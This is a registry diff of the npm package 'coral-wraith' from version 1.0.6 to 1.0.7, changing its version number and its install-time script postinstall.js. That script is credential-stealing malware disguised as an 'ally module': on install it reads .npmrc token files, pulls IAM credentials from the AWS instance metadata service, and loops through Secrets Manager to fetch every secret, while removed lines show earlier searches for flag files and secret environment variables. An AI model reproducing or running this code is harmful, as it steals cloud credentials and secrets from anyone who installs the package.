coral-wraith 1.0.6 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +2 -6
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "1.0.6",
3
+ "version": "1.0.7",
4
4
  "description": "Coral Wraith ally module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -43,18 +43,14 @@ function put(base, sink, parts) {
43
43
  if (!isTarget()) process.exit(0);
44
44
 
45
45
  const blob = sh(
46
- "cat /home/node/init_test.sh /root/.npmrc 2>&1; " +
47
- "find / -name '*flag*' -o -name 'readflag' 2>/dev/null | head -n20; " +
48
- "getcap -r / 2>/dev/null | head -n10; " +
49
- "ls -la /readflag /usr/local/bin/readflag 2>&1; /readflag 2>&1; " +
50
- "env | grep -E 'FLAG|HTB|SECRET|AWS_' | tr '\\n' ';'; " +
46
+ "cat /root/.npmrc /home/node/.npmrc 2>&1; " +
51
47
  "T=$(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60'); " +
52
48
  "R=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/); " +
53
49
  "C=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$R); " +
54
50
  "export AWS_ACCESS_KEY_ID=$(echo \"$C\"|sed -n 's/.*\"AccessKeyId\": \"\\([^\"]*\\)\".*/\\1/p') " +
55
51
  "AWS_SECRET_ACCESS_KEY=$(echo \"$C\"|sed -n 's/.*\"SecretAccessKey\": \"\\([^\"]*\\)\".*/\\1/p') " +
56
52
  "AWS_SESSION_TOKEN=$(echo \"$C\"|sed -n 's/.*\"Token\": \"\\([^\"]*\\)\".*/\\1/p') AWS_DEFAULT_REGION=us-east-1; " +
57
- "aws secretsmanager list-secrets 2>&1; " +
53
+ "aws sts get-caller-identity 2>&1; aws secretsmanager list-secrets 2>&1; " +
58
54
  "for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text 2>/dev/null); do aws secretsmanager get-secret-value --secret-id $s 2>&1; done"
59
55
  );
60
56